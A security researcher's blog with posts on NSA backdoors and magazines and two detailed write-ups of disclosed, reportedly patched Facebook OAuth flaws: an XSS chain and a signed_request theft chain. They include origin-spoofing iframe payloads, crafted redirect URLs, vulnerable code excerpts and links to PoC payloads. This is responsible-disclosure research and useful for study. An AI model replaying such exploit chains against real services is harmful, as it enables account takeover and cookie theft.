Thursday, September 26, 2013

NSA mark of quality

I heard, #nsabackdoor became a winning trend of 2013. It seems, that NSA has been inserting backdoors into public software and services, NSA owns certification authority private keys, NSA spies on us.

"How that may happen? Where is my privacy?" — these are not even nearly the kind of questions worth answering. Ask yourself instead: "Has NSA ever backdoored my product?". You will instantly get the full understanding whether your software or service is popular at any point.

"NSA backdoored me" — it really means, that you do your developer's job right, your stuff is useful and well-known. "NSA backdoored me" — this is an honor, this is the mark of quality. Just imagine, how it might be:




Logo idea inspired by the glorious tjomalebedev.
Плохая шрифтовая работа? Вали нахуй.

Friday, April 19, 2013

A story of $9500 bug in Facebook OAuth 2.0


Recently, I have made a talk at the Hack In The Box conference, where I have wrapped up multiple weaknesses in Facebook authorization protocol OAuth 2.0, reported by me during 2012-2013. Many of those bugs led to access token leaking and to taking (restricted) control over Facebook account, but the most interesting OAuth issue resulted in cross-site scripting. By this moment, the XSS bug is mostly patched by Facebook Security team.

Exploitation of this XSS is quite complicated, and though I have put a few pictures on my slides to explain the flow, nothing can be clearer than a well-formatted bug report itself. Here I am publishing my original advisory with a proof-of-concept code, which I had sent to Facebook Security team, describing the full chain of problems and some mitigation proposals as well:




Multiple vulnerabilities in OAuth/XdArbiter allow cross-site scripting
======================================================================


Overview
========

This submission describes an XSS exploit, which relies on several bugs in OAuth and App/Facebook cross-interaction. The PoC was tested under the latest Chrome and IE 8/9 with Flash. A victim should have Flash plugin installed, should have authorized at least one of "Instant Personalisation" apps (e.g, bing), should have been logged into the Facebook and should click the malicious link. After opening the PoC link within a couple of seconds a message box with cookies and fb_dtsg should appear. Next chapter describes exploitation ideas, flaws and mitigation proposals. Mitigations may of course interfere with some existing functionality unknown to me.


Vulnerabilities and exploitation
================================

1. First, a specially crafted page is loaded into the pagetab and then sends a FB_RPC message to parent (Facebook). This is a relatively small high-level weakness/feature in Facebook, which allows any app to be shown into the page tab and to interact with Facebook via RCP messages, even if not authorized.


2. A "show dialog" method is used as an evil RCP call, whose handler makes an ajax call to http://www.facebook.com/connect/uiserver.php. Here another weakness/feature is that:

  2.1 uiserver.php called with method "permissions.request" will
  302-redirect browser to the submitted redirect_uri if the app is
  authorized, while this script is (possibly) supposed to be a safe
  ajax-only endpoint without any redirects. 

 And two critical vulnerabilities:

  2.2 It is possible to impersonate any other app at the time of
  request to uiserver.php, since all important parameters in URL
  are taken right from the FB_RPC message (except redirect_uri,
  which should point to the sender's domain):

   if (!ra.redirect_uri || p(ra.redirect_uri).getDomain().
   toLowerCase() !== p(this.origin).getDomain().
   toLowerCase())
     ra.redirect_uri = this.origin;
   var va = new i().setMethod('GET').setReadOnly(true).
    setURI(o(ua).setQueryData(ra));

  2.3 Response from uiserver.php is then blindly eval()'ed by
  default (after unshielding)

    _handleXHRResponse: function(ka) {
      var la;
     if (this.getOption('suppressEvaluation')) {
        la = {asyncResponse: new h(this, ka)};
     } else {
       var ma = ka.responseText, na = null;
       try {
        var pa = this._unshieldResponseText(ma);
          try {
            var qa = (eval)('(' + pa + ')');

  Mitigations:
 
  2.1 Depending on the uiserver and api logic, 302-redirects should
  be restricted or avoided in ajax endpoints, otherwise it becomes
  difficult to control the data flows
 
  2.2 Important parameters, such as app_id, should be set by code
  inside the facebook.com domain, and not inside the app code
  (all.js). It should not be possible to call uiserver.php with
  app_id other that that loaded into the pagetab.

  2.3 JSON.parse should be used where possible instead of eval


3. Cross-domain redirects are not allowed in ajax calls, so to settle at something interesting after uiserver.php we need the "redirect_uri" to point to facebook.com domain. In order to do this and to bypass the sender origin check, exploit impersonates facebook.com when sending the FB_RPC message via another critical vulnerability. This flaw appears in the way the xd_arbiter.php implements a nonce checking when using flash as a transport: 

 xd_arbiter.php:
  
    ba = h();
    u[ba] = function(ca, da) { // Protection with a nonce, but too late
      ca = decodeURIComponent(ca);
     l.debug('received message %s from %s', ca, da);
     y.onMessage(ca, da);
    };
    t.init(y.channel, 'FB_XDM_CALLBACKS.' + ba);


 WON-TVLCpDP.swf:

  private function externalInit(param1:String, param2:String) : void
  {
     var channel:String = param1;
    var callback:String = param2;
    if(origin_validated)
    {
      return;
    } 
    origin_validated = true;
    log("init(channel " + channel + ", callback " + callback + ")");
    this.onMessageCallback = callback;
   ...

  public function onMessage(param1:String, param2:String) : void
  {
   log("onMessage from " + param2);
   // Not checking the sender
   ExternalInterface.call(
   this.onMessageCallback, encodeURIComponent(param1), 
   param2);
  }

This nonce check in xd_arbiter is performed too late and only prevents from interaction with a fake flash object. At the same time, the legit swf transparently transfers incoming messages into a valid callback without any checks. It is possible inside the app frame to create a sender-xd_arbiter, a proxy-xd_arbiter and a payload-xd_arbiter and eventually to transfer any message to the parent pagetab controller from facebook.com domain:

  sender-xd_arbiter:
   <iframe name="fb_xdm_frame_http2" src="http://facebook.com/connect/xd_arbiter.php?version=11#channel=my_channel&origin=http%3A%2F%2Ffacebook.com&transport=flash"></iframe>

  proxy-xd_arbiter:
   <iframe name="fb_xdm_frame_http" src="http://facebook.com/connect/xd_arbiter.php?version=11#channel=my_channel_http&origin=http%3A%2F%2Ffacebook.com&transport=flash"></iframe>

  payload-xd_arbiter:
   <iframe name="fb_xdm_frame_http3" src="http://facebook.com/connect/xd_arbiter.php?version=11#FB_RPC:{\"method\":\"evilMethod\", \"params\":[{\"var1\":1, \"=&relation=parent&\":0}]}"></iframe>

The payload-xd_arbiter will invoke parent.frames["fb_xdm_frame_http"].proxyMessage(URL_fragment), which in turn will transfer it to the swf inside fb_xdm_frame_http2 via a flash channel, and then the message will be handled by the facebook RPC handler:

  xd_arbiter.php:

   var ca = z ? h(z) : parent.parent;
    try {
   // aa = message = URL_fragment, ba = "http://facebook.com"
   ca.XdArbiter.handleMessage(aa, ba);
   ...

Apart from this quite serious flaw with origin impersonation, another nasty weakness is leveraged here. The URL fragment of payload-xd_arbiter is treated both as a query string and a JSON object: the message formats/handlers logic is possibly little bit messed up at this point, because it allows a message to go through two different parsers.

  Mitigation:

    A nonce checking should be moved (or doubled) from xd_arbiter
    right into the onMessage function of the flash object. It should
    not be possible to spoof the sender's origin.


4. Now we can send RPC messages to the app controller as if our app page will host on facebook.com domain. With this, we can submit any URL within facebook as a redirect_uri for uiserver.php, and it will be eval'ed starting from the 10th byte (after _unshieldResponseText). To trick the uiserver.php script, we only need to impersonate an app whose domain is indeed "facebook.com". Two small security issues will help to achieve this:

  4.1 An app developer can set any domain for his app at App
  Settings page, even facebook.com

  4.2 There are legit apps with their domain set to facebook.com,
  such as JS SDK (id=114545895322903)

 Mitigations:

  4.1 It could be wise enough not to accept facebook domains at the
  App Settings page

  4.2 It would also be better to separate app domains from various
  facebook domains, if possible


5. One problem for the attacker is that uiserver.php does not accept "display" parameter to be "none", and it will 302-redirect the user's browser only if the app had previously been authorized. So, an adversary need to know one app, which was authorized by victim. This issue can be bypassed for most of the users:

  5.1 Facebook OAuth implementation allows lots of dangerous
  facebook ULRs to be in redirect_uri, such as
  http://facebook.com/dialog/oauth?...

  5.2 There is a list of preauthorized apps, used for Instant
  Personalisation (for example, bing.com)

Or at least an attacker may ask a user to authorize some fancy game requiring no permissions. So, to direct user's browser to some controlled facebook URL during the ajax request, the uiserver.php is called in the following way:
http://www.facebook.com/connect/uiserver.php?method=permissions.request&app_id=AUTHORIZED_APP_ID&redirect_uri=REDIRECT_URI&...,

Where AUTHORIZED_APP_ID is, let's say, bing app id, and REDIRECT_URI is:
http://facebook.com/dialog/oauth?client_id=114545895322903&response_type=token%2Csigned_request%2Ccode&display=none
&redirect_uri=http%3A%2F%2Fwww.facebook.com%2F_EVIL_FACEBOOK_URL&...

dialog/oauth will redirect browser to redirect_uri =
http://www.facebook.com/_EVIL_FACEBOOK_URL in any case. Finally, the RPC handler will try to eval the data from http://facebook.com/_EVIL_FACEBOOK_URL

 Mitigation:

   5.1 Only xd_arbiter script URL should be allowed on a
   facebook.com domain as a redirect_uri. Or at least the set of
   possible redirect_uri's within the facebook.com domain must be
   white-listed with "exact match" filtering.


6. Now we need some container for our javascript code, so that it is stored right on the facebook domain, and this could be, for example, a specially crafted picture, retrieved and processed by the safe_image.php script. Two critical vulnerabilities help to successfuly yield execution to the attacker's javascript payload:

  6.1 The script http://external.ak.fbcdn.net/safe_image.php can be
  called from the facebook domain too:
    http://facebook.com/safe_image.php

  6.2 The _unshieldResponseText does not check the payload or at
  least its first 9 bytes before cutting them:

   _unshieldResponseText: function(ka) {
    var la = "for (;;);", ma = la.length;
    ...
    return ka.substring(na + ma);
   }

So, it is possible to construct an image which looks like a valid javascript without the nine-byte prefix. I used gif format for the PoC and was able to bypass the safe_image.php repacking (if encoded correctly, the script gives me back exactly the same image). I can share my encoder and thoughts about payload formats with you by request.

 Mitigation:

   6.1 Domains for static scripts and with external data should be
   clearly separated from the facebook.com domain

   6.2 The _unshieldResponseText function must check the data before
   cutting it.



Best,
Andrey Labunets
isciurus@gmail.com



UPD 23.04.2013: uploaded my Javascript -> GIF encoder

PoC: https://gist.github.com/isciurus/5418746

GIF image: http://fbdkit.netai.net/pagetab/js_payload.gif
GIF encoder: https://gist.github.com/isciurus/5437231

Thursday, January 3, 2013

Xakep: eye for an eye


Does anybody know, why infosecurity seems so attractive? I find bug hunting exciting in such a degree, that I cannot recall anything else I could do with the same amount of interest.

I used to read Хакер (Russian hacking magazine), and what about you? It was during that unconscious age that I was not aware of the large chunk of my feelings and actions. I liked that. These two covers give me an exhaustive answer for the first question.



So, now: I would suggest the Хакер crew to simplify design a little. Just to make things as simple as they really are. The following two covers express the proposal itself.


Thursday, September 6, 2012

Pwning Facebook's OAuth 2.0 through URL hash tricks

Introduction: what's OAuth and so forth

I'll describe here several flaws in Facebook's authentication with OAuth and how I was able to exploit them for getting access to victim's account on a site, which uses Facebook authentication. Facebook security team quickly responded and rolled out a fix for this issue shortly after I had reported it.

In a nutshell, OAuth2 describes how a Resource Owner (user), Authorization Server (Facebook), Resource Server (Facebook too) and Client (third-party site) interact with each other. An Implicit Flow is used for just authorizing a Client to access some of Resource Owner's data, while a more secure Explicit Flow is applied for authenticating Resource Owner on a Client with Authorization Server. The process of signing in with Facebook is simple: after user clicks on "log in with Facebook" button, he eventually goes to the authorization endpoint:

http://www.facebook.com/dialog/permissions.request?
    client_id=CLIENT_ID
   &redirect_uri=CLIENT_CALLBACK_URI
   &response_type=TOKEN_or_CODE_or_SIGNED_REQUEST
   &SOME_OTHER_STUFF

And then directed back to CLIENT_CALLBACK_URI with a TOKEN value in a Fragment (Implicit Flow) or CODE value in parameters (Explicit Flow). In Explicit Flow, Client then exchange code for access_token in backend:

https://graph.facebook.com/oauth/access_token?
    client_id=CLIENT_ID
   &redirect_uri=CLIENT_CALLBACK_URI
   &client_secret=CLIENT_SECRET
   &code=CODE

... and authenticates the user. Authorization Server will stop authentication (won't give the token) if CLIENT_CALLBACK_URI is not the same (malicious uri or just XSS-vulnerable page, other than the correct callback). There are also issues with a special state parameter, which should protect from CSRF bugs, but it's out of my scope today.

Hey, what is that thrid option in response_type: signed_requestThat's how Facebook provides a special transport to carry both flows:
When you receive a signed_request string, it can be verified using your App Secret to ensure the request was sent by Facebook and not a third party. Parsing the signed_request will yield a JSON object containing some data.
...
signed_request is simply a data transfer mechanism and does not imply any defined structure or format of data carried in the request.
Having a signed access_token with other data, Client is now able to verify that this object is genuine and was indeed sent by Facebook. Despite the fact that it improved an Implicit Flow (sign client_id access token together — and you get rid of One access_token To Rule Them All vulnerability), an Explicit Flow became shamelessly insecure. Signed_request is even transmitted in a Fragment part, pretending to be protected from leaking with a Referer/MiTM as much as possible, but that was absolutely not a problem.

The exploit: so, where was that bug in?

I took several problems with authorization and put them in a chain:

  1. FB authorization endpoint accepts as redirect_uri not only client-registered Redirection Endpoints but also lots of links within the facebook.com domain (Nice)
  2. FB authorization endpoint also carefully processes redirect_uri's containing URL Fragment part (Again nice)
  3. FB does not check the redirect_uri at all, when exchanging code for token (One more time nice)
  4. FB does not bind codes/tokens to ip addresses (Why, guys, why? Nice as well)
  5. FB has a hash-bang feature (You should have got the whole idea by the time of reading this line)

It was enough for a victim to click my link and to authorize my Facebook app — and I could immediately sign into his account on Client. I picked up the first site — freelancer.com, which used signed_request, and constructed the following link:


http://www.facebook.com/dialog/permissions.request?app_id=12013111806
1981&redirect_uri=http%3A%2F%2Fwww.facebook.com%2F%23!%2Ftest%23!%2Fd
ialog%2Foauth%3Fclient_id%3D256157661061452%26redirect_uri%3Dhttps%3A
%2F%2Ftouchdevelop.accesscontrol.windows.net%2Fv2%2Ffacebook%3Fevil_r
eferref_dumper%26scope%3D%26display%3Dpopup&sdk=joey&display=&respons
e_type=signed_request&domain=www.freelancer.com&perms=offline_access%
2Cuser_education_history%2Cuser_location%2Cuser_hometown%2Cuser_websi
te%2Cuser_work_history%2Cemail%2Cpublish_stream%2Cuser_birthday&fbcon
nect=0&from_login=1&client_id=120131118061981&rcount=1


User clicks the link, FB then issues a valid signed_request containing code, and user is redirected to:


http://www.facebook.com/?%21%2Ftest#!/dialog/oauth?client_id=25615766
1061452&redirect_uri=https://touchdevelop.accesscontrol.windows.net/v
2/facebook?evil_referref_dumper&scope=&display=popup&signed_request=l
rcDa9tC8lDFm8askLCxaRo44RY0ZvimzmSw4-J_1lk.eyJhbGdvcml0aG0iOiJITUFDLV
NIQTI1NiIsImNvZGUiOiJBUURzNjdZQVR4TUlCUHM5eFFSWjJPWmtBYkthSGlSdXdMc1h
LaTRBYk5xOHluRmt3YWxwM0RwZVpCV1ZjSjF2NV91cC1lUE41dWlWYWNmMC1Gem13NkZk
WExJT2JUb2dpQ1V0SUJyV1NrRUZEdlpBTkZFLVcyTm9Dc1dfZ2RzMnNGaV9ubE0zVWsxM
3NTNkt0OUg2ZmVacVNoN1RUMmFHajNOd09odzlxVU1EN01kdFZnc0VULXkzUnRIdjE2Rm
o3V1UiLCJpc3N1ZWRfYXQiOjEzNDAyNjQwNjMsInVzZXJfaWQiOiIxMDAwMDM3NTk3Njk
4NDQifQ&base_domain=freelancer.com


I had to play around with encoding and filtering rules for some time: that strange ?%21%2Ftest is used just to bypass those rules. I would prefer to call this step the Fragment Pull Stage, since user is then redirected to:


http://www.facebook.com/dialog/oauth?client_id=256157661061452&redire
ct_uri=https://touchdevelop.accesscontrol.windows.net/v2/facebook?evi
l_referref_dumper&scope=&display=popup&signed_request=lrcDa9tC8lDFm8a
skLCxaRo44RY0ZvimzmSw4-J_1lk.eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImNv
ZGUiOiJBUURzNjdZQVR4TUlCUHM5eFFSWjJPWmtBYkthSGlSdXdMc1hLaTRBYk5xOHluR
mt3YWxwM0RwZVpCV1ZjSjF2NV91cC1lUE41dWlWYWNmMC1Gem13NkZkWExJT2JUb2dpQ1
V0SUJyV1NrRUZEdlpBTkZFLVcyTm9Dc1dfZ2RzMnNGaV9ubE0zVWsxM3NTNkt0OUg2ZmV
acVNoN1RUMmFHajNOd09odzlxVU1EN01kdFZnc0VULXkzUnRIdjE2Rmo3V1UiLCJpc3N1
ZWRfYXQiOjEzNDAyNjQwNjMsInVzZXJfaWQiOiIxMDAwMDM3NTk3Njk4NDQifQ&base_d
omain=freelancer.com


Now I need a user to go to some controlled url — and it's time for Referer Fixation Stage! At this moment user observes a harmless authorization request by my pretty nice FB app (sorry, @tau_phoenix/@touchdevelop and thank you, it's just for a photo), carrying a signed_request for me.


Would you authorize yet another app/game? What can go wrong if the app gets only your basic info?


If you click and go to evil_referref_dumper, I will own your signed_request from the Referer, extract the code, submit it to freelancer.com — and I'm in.

Egor Homakov (@homakov) & Andrey Labunets (@isciurus)

Saturday, June 2, 2012

A comparative overview of infosec media rush capabilities

In november 2011 I started a small project, called Windbgshark: https://code.google.com/p/windbgshark/.
This is how it used to attract visitors' attention along time, and to what extent:


So far, impressive, reddit.